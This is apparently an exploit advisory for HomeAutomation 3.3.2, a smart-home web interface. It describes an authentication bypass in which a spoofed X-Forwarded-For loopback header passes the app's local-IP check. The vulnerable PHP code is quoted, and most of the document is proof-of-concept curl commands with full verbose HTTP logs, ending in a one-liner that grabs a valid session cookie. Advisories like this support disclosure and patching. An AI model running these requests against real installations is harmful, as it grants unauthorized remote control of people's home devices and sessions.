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# Exploit: HomeAutomation 3.3.2 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5557
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php


HomeAutomation v3.3.2 Authentication Bypass Exploit


Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2

Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.

Desc: The application suffers from an authentication bypass vulnerability when
spoofing client IP address using the X-Forwarded-For header with the local (loopback)
IP address value allowing remote control of the smart home solution.

===============================================================================
/modules/login/login.module.php:
--------------------------------
19: if(!defined("HomeAutomationIncluded")) { die("HomeAutomation: Direct access not premitted"); }
20:
21: if($_SESSION[CFG_SESSION_KEY]["userlevel"] < 1 && $action == "default" && isIpLocal() && getFormVariable("autologin", "") == "")
22: {
23:         // if user is not logged in and action is default, user is visiting locally and autologin is NOT set, allow autologin.
24:         $action = "login";
25: }
26:
27: ?>

===============================================================================
/functions.php:
---------------
733: function isIpLocal() {
734: 
735: 	if(substr(getIpAddress(), 0, 4) == "127.") {
736: 		return true;
737: 	}
738: 
739: 	$isIpLocal = false;
740: 
741: 	$localip = $_SESSION[CFG_SESSION_KEY]["settings"]["localip"];
742: 
743: 	$localnets = explode(";", $localip);
744: 	foreach($localnets as $localnet) {
745: 		list($localnet, $localmask) = explode("/", $localnet);
746: 		if($localmask == "") {
747: 			$localmask = 32;
748: 		}
749: 		if($localmask == "" || $localmask > 32 || $localmask < 0) {
750: 			$localmask = 32;
751: 		}
752: 
753: 		// $mask = $localmask;
754: 
755: 		$localnet = ip2long($localnet);
756: 		$localmask = ~((1 << (32-$localmask)) - 1);
757: 		$remoteip = ip2long(getIpAddress());
758: 		$maskedip = $remoteip & $localmask;
759: 		$maskednet = $localnet & $localmask;
760: 
761: 		// echo "<br />localnet:";
762: 		// printf('%1$32b', $localnet);
763: 
764: 		// echo "<br />localmask: (dec: ".$mask.")";
765: 		// printf('%1$32b', $localmask);
766: 
767: 		// echo "<br />remoteip:";
768: 		// printf('%1$32b', $remoteip);
769: 
770: 		// echo "<br />maskedip:";
771: 		// printf('%1$32b', $maskedip);
772: 
773: 		// echo "<br />maskednet:";
774: 		// printf('%1$32b', $maskednet);
775: 
776: 		if($maskedip == $maskednet) {
777: 			// echo "<br />maskedip == maskednet";
778: 			$isIpLocal = true;
779: 			break;
780: 		}
781: 	}
782: 	// $isIpLocal = false;
783: 	return $isIpLocal;
784: }
785: 
786: function getIpAddress() {
787: 	return isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
788: }
===============================================================================

Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
           Apache/2.4.29 (Ubuntu)
           PHP/7.4.0RC4
           PHP/7.3.11
           PHP 7.2.24-0ubuntu0.18.04.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5557
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php


06.11.2019

--


PoC auth bypass and arbitrary cookie setup grepping auth'd content view:
------------------------------------------------------------------------

root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -H "X-Forwarded-For: 127.31.33.7" -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
*   Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* 	 server certificate verification SKIPPED
* 	 server certificate status verification SKIPPED
* 	 common name: n28.nux.se (does not match '192.168.2.113')
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: CN=n28.nux.se
* 	 start date: Mon, 21 Oct 2019 12:18:27 GMT
* 	 expire date: Sun, 19 Jan 2020 12:18:27 GMT
* 	 issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* 	 compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
> 
< HTTP/1.1 303 See Other
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Location: ./index.php?page=houseplan
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 192.168.2.113 left intact
* Issue another request to this URL: 'https://192.168.2.113/index.php?page=houseplan'
* Found bundle for host 192.168.2.113: 0x55c160ef7c40 [can pipeline]
* Re-using existing connection! (#0) with host 192.168.2.113
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
> GET /index.php?page=houseplan HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
> 
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
{ [6 bytes data]
*							</li><li>| <a href="./index.php?page=macros">Macros</a>
 Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
*   Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* 	 server certificate verification SKIPPED
* 	 server certificate status verification SKIPPED
* 	 common name: n28.nux.se (does not match '192.168.2.113')
* 	 server certificate expiration date OK
* 	 server certificate activation date OK
* 	 certificate public key: RSA
* 	 certificate version: #3
* 	 subject: CN=n28.nux.se
* 	 start date: Mon, 21 Oct 2019 12:18:27 GMT
* 	 expire date: Sun, 19 Jan 2020 12:18:27 GMT
* 	 issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* 	 compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> 
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:25 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
< 
{ [6 bytes data]
							</li><li>| <a href="./index.php?page=macros">Macros</a>
* Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation# 


PoC auth bypass retrieving valid Cookie:
-----------------------------------------

root@kali:~/homeautomation# $(curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/?page=houseplan -L -H "X-Forwarded-For: 127.1.1.1" --cookie-jar cookies.txt -o /dev/null) ; echo -ne "Your cookie: " ;tail -c -27 cookies.txt
Your cookie: k4dic6crpr4d4u71tr13gvtmsv